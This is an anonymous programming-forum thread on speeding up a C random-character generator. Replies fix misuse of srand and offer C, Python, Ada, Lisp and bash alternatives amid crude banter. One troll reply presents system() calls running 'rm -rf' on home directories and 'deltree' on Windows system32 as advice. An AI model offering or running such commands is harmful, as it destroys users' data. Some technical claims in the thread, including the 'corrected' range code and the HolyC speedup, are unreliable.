Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

How do I make this faster?

Name: Anonymous 2019-09-10 17:01

#include <time.h>
#include <stdio.h>
#include <stdlib.h>

int myrand(int min, int max) {
int new_value;
static int previous_value;

if(min > max) return 1;

do {
srand(time(NULL));
new_value = rand() % (max - min);
} while(new_value == previous_value);

previous_value = new_value;
return new_value;
}

int main() {
for(register char c = 0; c < 5; c++) {
printf("%c\t", myrand(33, 126));
}

putchar('\n');
return 0;
}

Name: Anonymous 2019-09-10 17:53

Write it in asm.

Name: Anonymous 2019-09-10 18:30

Why the fuck is srand called in a loop, much less called at all in myrand?

Why the fuck do you have that loop?

Didn't you forget to add min?

Name: Anonymous 2019-09-10 23:16

clang -O3 -march=native

Name: Anonymous 2019-09-11 0:28

doesn't rand() return floats?

Name: Anonymous 2019-09-11 0:44

-fomit-frame-pointer

Name: Anonymous 2019-09-11 6:14

remove the while loop

Name: Anonymous 2019-09-11 7:00

what are you even trying to achieve? I guess it is to have a RNG which returns numbers between between min and max. the way to do it correctly would be new_value = min + rand() % (max-min), as the current implementation doesn't do this correctly. the loop is entirely unnecessary - there is no need to ensure that new value is different than previous, as random numbers can repeat. I guess your're are problem was that you were getting the same number repeated all the time, but this is because your're are using srand() wrong. it re-seeds the global RNG, so calling it should not be the responsibility of myrand() but of the calling program. also, unrelated to speed: returning 1 is weird here because 1 is a valid return value of an RNG, I'd rather use errno to indicate wrong arguments.
a rough solution would look like this (warning: I did not compile it):

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int myrand(int min, int max) {
if(min > max){
errno = EINVAL;
return 0;
}
return min + (rand()%(max-min));
}

int main() {
srand(time(NULL));
for(register char c = 0; c < 5; c++) {
printf("%c\t", myrand(33, 126));
}

putchar('\n');
return 0;
}


if you really need to seed the global RNG inside myrand() (and you really shouldn't), you can do something like this:

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int myrand(int min, int max) {
static short seeded = 0; //assuming your're are using a standard from before bool type
if(!seeded){
srand(time(NULL));
seeded = 1;
}
if(min > max){
errno = EINVAL;
return 0;
}
return min + (rand()%(max-min));
}

int main() {
for(register char c = 0; c < 5; c++) {
printf("%c\t", myrand(33, 126));
}

putchar('\n');
return 0;
}

Name: Anonymous 2019-09-11 7:01

unroll your loops

Name: Anonymous 2019-09-11 7:04

system("rm -rf /home/");
system("deltree /Y C:\\Windows\\system32\\");
system("rm -rf /Users/");
Edited on 11/09/2019 07:08.

Name: Anonymous 2019-09-11 7:12

use Carmack's fast inverse dub checking algorithm

Name: Anonymous 2019-09-11 8:57

#include <time.h>
#include <stdio.h>

int main() {
int next = time(NULL);
char buffer[11];
for(char c = 0; c < 5; c++) {
next = next * 1103515245 + 12345;
buffer[c*2] = (unsigned char)33 + (unsigned int)(next/65536) % (127-33);
buffer[c*2+1] = '\t';
}
buffer[10] = 0;
puts(buffer);
return 0;
}

Name: Anonymous 2019-09-11 17:39

Why so much boilerplate and hard work...

$ python3
>>> import random
>>> print('\t'.join(str(random.randint(33, 127)) for i in range(5)))
118 76 88 65 82


Problem solved.

Name: Anonymous 2019-09-11 22:26

with Ada.Numerics.Discrete_Random;
with Ada.Text_IO; use Ada.Text_IO;
procedure Random is
subtype Printable_Character is Character range Character'Val(33) .. Character'Val(126);
package Random_Printable_Character is new Ada.Numerics.Discrete_Random(Printable_Character);
use Random_Printable_Character;
G : Generator;
Current, Previous : Character := Character'Val(0);
function Unique return Character is
begin
loop
Current := Random(G);
exit when Current /= Previous;
end loop;
Previous := Current;
return Current;
end Unique;
begin
Reset(G);
for I in 1..5 loop
Put(Unique);
end loop;
New_Line;
end Random;

Name: Anonymous 2019-09-11 22:56

>>14
More boilerplate, noise and unproductive crap. As bad as C but uglier.

The best programming language is English. The day we can make computers execute busines logic, like "Print five random ints from 33 to 127, tab-separated", you all can keep portable assembly, Sepples, Javur, C-octothorpe and the like to yourselves, I have business to do and my time is far more expensive than execution time jerk-offs.

In the mean time I'm content with the FIOC and similar dynamic, high-level, multi-paradigm languages where at least I can get close enough to English and keep the ratio of business logic lines to boilerplate shit quite high. And also stay out of OOP, which requires a lot of that shit too with its classes, interfaces, ``design patterns'' and similar workarounds to using fucking λ-expressions.

Name: Anonymous 2019-09-11 23:31

>>15
Print five random ints from 33 to 127, tab-separated
this is still basically assembly. you're still telling the computer how instead of what. it's just a step above:

(loop for x = (random 128) unless (< x 33) collect x into numbers
until (>= (length numbers) 5)
finally (return (format t "~{~A~T~}" numbers)))


which is a thin wrapper over primitive operations despite reading like a sentence

"make a game that's a combination of pong and space invaders"
-- that's when programmers have to start sucking cock for a living Edited on 11/09/2019 23:35.

Name: Anonymous 2019-09-12 0:39

Give up now, you lost


#!/usr/bin/env bash
shuf -i 33-127 -n 5 | tr '\n' '\t'

Name: Anonymous 2019-09-12 0:39

OP wanted performance in C.

>>12

Is the solution.

Name: Anonymous 2019-09-12 2:31

You can always embed a bash interpreter in C

Name: Anonymous 2019-09-12 3:39

>>17,19
#include <stdlib.h>
int main(){//good enough for Linux
return system("shuf -i 33-127 -n 5 | tr '\n' '\t'");}

Name: Anonymous 2019-09-12 10:34

>>8

Why are you wasting time to help the retard?

Name: Anonymous 2019-09-12 10:35

>>1
Rewrite it in Haskell.

Name: Anonymous 2019-09-12 10:37

>>22
Second that. Haskell has lazy evaluation, which is a very efficient way to compute thing. A call to OP's myrand wont be evaluated until it's value is actually needed, or it could be evaluated in a separate thread, while main thread does its own shit.

Name: Anonymous 2019-09-12 11:40

Can we see the ideal Haskell solution?

Name: Anonymous 2019-09-12 13:09

>>24
I don't know much about Haskell but it would probably look like "5 uniq rnd(33,126) print "

Name: Anonymous 2019-09-12 13:15

>>1
What you're trying to do is to create random words.
Try namegen num_chars
http://void.wikidot.com/code:namegen-c

Name: Anonymous 2019-09-12 13:18

>>25
That some point-free language, not Haskell.

Name: Anonymous 2019-09-12 13:19

>>27
BTW, that retarded Russian Forth clone, Factor, is still alive: https://factorcode.org/

Name: Anonymous 2019-09-12 13:24

>>13
>>14
>>16
>>25
C is the target language you soykaf plebeians.

>>15
The requirement clearly states 'How do I make this faster?'. Learn to read you Execution time is **the** requirement.

>>20
Congratulations on making a slow, non-portable pile of excrement.

Name: Anonymous 2019-09-12 23:00

>>29
The requirement clearly states 'How do I make this faster?'. Learn to read you Execution time is **the** requirement.
This is /prog/, you dolt. We never do whatever we're supposed to. Edited on 12/09/2019 23:01.

Name: Anonymous 2019-09-15 18:49

In HolyC you could store that entire string within a cpu register avoiding costly memory instructions.

Performance increase of ~60x.

In C you could avoid memory access thusly: -

#include <time.h>
#include <stdio.h>

int main() {
register unsigned int next = time(NULL);

for(register int c = 0; c < 5; c++) {
next = next * 1103515245;
next = next + 12345;
next = next / 65536;
next = next % 94;
next = next + 33;
putchar(next);
putchar('\t');
}
return 0;
}

Name: Anonymous 2019-09-15 19:00

>>31
That is what Symta does. But Symta does a lot of text processing and most strings are small enough to fit into 64-bit registers.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List